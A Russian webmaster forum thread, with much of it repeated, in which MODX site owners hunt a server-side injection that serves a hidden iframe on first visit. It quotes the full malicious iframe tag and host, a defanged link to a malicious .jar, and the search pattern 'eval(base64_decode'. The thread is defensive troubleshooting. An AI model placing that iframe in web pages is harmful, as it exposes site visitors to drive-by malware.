Дикий пионер: Я по modX не большой спец, но посмотрел бы на плагины, которые подписаны на собфтия из категории
Template Service Events
Есть еще конечно экзотический вариант, что в htaccess как-то php_auto_append_file ставят, но в этом случае сам скрипт-то где-то тоже должен быть.
В htaccess чисто.
Из модулей стоит transAlias (стандартная поставка) на событие OnStripAlias
Дикий пионер: В вашем движке куча всего хранится в базе - в том числе и шаблоны, смотрите базу, модули, плагины, сниппеты установленные.
Сделайте дамп базы и в нем поищите скрипты.
Базу смотрел.
Отключил все плагины кроме transAlias, (чтобы страницы из индекса не вылетели)
Из снппетов 90% моих - тоже были просмотренны и все чисты. Остальные 10% заменил на стандартные...
P.S. Думаю большего никто не подскажет. Дикий пионер скинь мне номер своего кошелька - оплачу время потраченое на меня, как и обещал (твои советы самые дельные).
Leadmonkey: Та же ерунда. Сайт - voenhunt.ru при первом заходе на страницу есть вот это <iframe src="http://ladygaga.ipq.co/index.php?tp=9f58b3191d33ba1b" width="0" height="0" frameborder="0"></iframe> в котором скрипт. При повторном заходе - пусто. Никак не могу понят, откуда эта дрянь выводится. В файлах на сервере ничего подобного нет
firefox19: Зря игнорируете, проблема в скриптах, а точнее - в движке как минимум, и копать надо серьезно
Но дело хозяйское.
Если бы я игнорировал - я бы не создал эту тему.
garry69: У вас стоит клкандер( при клике по картинке) или что то такое. Похоже подгружает от туда.
При клике на картинку ничего не должно стоять;-) Объясните аномальное поведение
Posting_i_PIAR: сделайте полный бэкап на дату раньше даты заражение.
поменяйте все пароли.
Я бы с удовольствием сделал это, но вот откатиться в прошлое не могу по ряду причин. Тот бэкап что имеется (месяца 2 назад) не показал никаких изменений в файлах... В этом вся и странность...(
<div class="headline">
<div class="logo"><h1>Видеокурсы</h1>обучение по видеоурокам</div>
Ищите откуда этот код выводится. Переводы строк добавил для лучшей видимости.
Кстати, фрейм есть только на первый заход, потом странички без него отдаются - так что какой-то скрипт у вас серверный этим руководит.
Спасибо. Теперь знаю в какую сторону копать.
P.S. Попробовал изменить шаблон переименовать body на bodys, а count на counts - все разъехалось, хотя CSS тоже поправил...
Просканировал файлы на сервере на наличие регулярок под тип body -> div, class body, и т.п. найдено 0 результатов. Просканировал файлы на наличие exec decode и т.п. - там тоже чисто...
DyaDya: Так не всегда прокатывает. Антивири могут не видеть вирь в коде сайта, но опознавать при его подгрузке со стороннего сайта.
Странно, что гугл ещё не вывесел предупреждение о вире. Обычно он раньше яшки реагирует.
Нужно найти код, по которому можно определить вставку виря и прогнать поиском по всему сайту. Например, по SSH с помощью команд примерно такого вида:
Проверил все найденые файлы - все чисто....
webrock: Что б ускорить поиск, сделайте бэкап сайта, скачайте и проверьте анивирем. А потом смотрите что антивирь нашёл и по указанным путям удаляйте всё "вшивое" на хосте.
Сделал. Проверил NOD32 + Microsoft Security Essentials = тишина
garry69: У вас верусни там не один подгружает. Вот номер один
ladygaga . ipq . co / games / javaobe . jar
Растянул дабы не кликнули. Ищите фреймы или точнее незнакомый код вверху или внизу индексных.
Увидите сразу.
Дальше чистим комп, меняем пароли фтп и тд.
Хоть убей не вижу от куда подгружает... А какие еще? (можно в личнку)
Комп не то что чистил... Установил новую ОС (лицензия win7) + перехал но новый сервер (облако)...
Чисто...
Пряма мистика какая то..........
Нашлась бяка...
Была в файлах...
Такое попробуй
$sky
и универсальное такое
eval(base64_decode
Чисто...
Пряма мистика какая то..........
Я по modX не большой спец, но посмотрел бы на плагины, которые подписаны на собфтия из категории
Template Service Events
Есть еще конечно экзотический вариант, что в htaccess как-то php_auto_append_file ставят, но в этом случае сам скрипт-то где-то тоже должен быть.
В htaccess чисто.
Из модулей стоит transAlias (стандартная поставка) на событие OnStripAlias
и RedirectMap на событие OnPageNotFound
Остается вариант лезть в код движка....
Хотя меня терзают смутные сомнения на счет того, что тут замешана яндекс.метрика
Ведь до того, как я поставил метрику все было чисто...
В вашем движке куча всего хранится в базе - в том числе и шаблоны, смотрите базу, модули, плагины, сниппеты установленные.
Сделайте дамп базы и в нем поищите скрипты.
Базу смотрел.
Отключил все плагины кроме transAlias, (чтобы страницы из индекса не вылетели)
Из снппетов 90% моих - тоже были просмотренны и все чисты. Остальные 10% заменил на стандартные...
P.S. Думаю большего никто не подскажет. Дикий пионер скинь мне номер своего кошелька - оплачу время потраченое на меня, как и обещал (твои советы самые дельные).
Та же ерунда. Сайт - voenhunt.ru при первом заходе на страницу есть вот это <iframe src="http://ladygaga.ipq.co/index.php?tp=9f58b3191d33ba1b" width="0" height="0" frameborder="0"></iframe> в котором скрипт. При повторном заходе - пусто. Никак не могу понят, откуда эта дрянь выводится. В файлах на сервере ничего подобного нет
Сорри, ЛС не работает. Напши мне в ICQ 8608196
Посмотрел сайт: нас одинаковый движок. Сайты одинаковые - давай выяснять какие модули ставили.
У меня когда-то было предположение, что сайт хакнули через phpBB. После чего написал модуль ScanFiles.
Зря игнорируете, проблема в скриптах, а точнее - в движке как минимум, и копать надо серьезно
Но дело хозяйское.
Если бы я игнорировал - я бы не создал эту тему.
У вас стоит клкандер( при клике по картинке) или что то такое. Похоже подгружает от туда.
При клике на картинку ничего не должно стоять;-) Объясните аномальное поведение
сделайте полный бэкап на дату раньше даты заражение.
поменяйте все пароли.
Я бы с удовольствием сделал это, но вот откатиться в прошлое не могу по ряду причин. Тот бэкап что имеется (месяца 2 назад) не показал никаких изменений в файлах... В этом вся и странность...(
Тоже поучаствую
Ищите откуда этот код выводится. Переводы строк добавил для лучшей видимости.
Кстати, фрейм есть только на первый заход, потом странички без него отдаются - так что какой-то скрипт у вас серверный этим руководит.
Спасибо. Теперь знаю в какую сторону копать.
P.S. Попробовал изменить шаблон переименовать body на bodys, а count на counts - все разъехалось, хотя CSS тоже поправил...
Просканировал файлы на сервере на наличие регулярок под тип body -> div, class body, и т.п. найдено 0 результатов. Просканировал файлы на наличие exec decode и т.п. - там тоже чисто...
я в панике.........
Из кода сохраненки гугла весь не привести из за длинны:
Это код облака тэгов. Я думал из-за него проблемы и удалил это дело...
НО! проблема осталась...
Хм, сейчас не грузит ничего. Странно что перманентно.
У вас не стоит ни каких всплывающих окон или рекламы подобной?
Нет. Кроме рекламы от бегуна больше ничего нет.
Более того, я не скажу что я новичек в вебе... Постоянно мониторю файлы на фак изменения (как по размеру, так и по дате)
Так не всегда прокатывает. Антивири могут не видеть вирь в коде сайта, но опознавать при его подгрузке со стороннего сайта.
Странно, что гугл ещё не вывесел предупреждение о вире. Обычно он раньше яшки реагирует.
Нужно найти код, по которому можно определить вставку виря и прогнать поиском по всему сайту. Например, по SSH с помощью команд примерно такого вида:
Проверил все найденые файлы - все чисто....
Что б ускорить поиск, сделайте бэкап сайта, скачайте и проверьте анивирем. А потом смотрите что антивирь нашёл и по указанным путям удаляйте всё "вшивое" на хосте.
Сделал. Проверил NOD32 + Microsoft Security Essentials = тишина
У вас верусни там не один подгружает. Вот номер один
ladygaga . ipq . co / games / javaobe . jar
Растянул дабы не кликнули. Ищите фреймы или точнее незнакомый код вверху или внизу индексных.
Увидите сразу.
Дальше чистим комп, меняем пароли фтп и тд.
Хоть убей не вижу от куда подгружает... А какие еще? (можно в личнку)
Комп не то что чистил... Установил новую ОС (лицензия win7) + перехал но новый сервер (облако)...
мда, под пивом сюда лучше не заходить))
До февраля...
По теме - продолжаю размещение ссылок.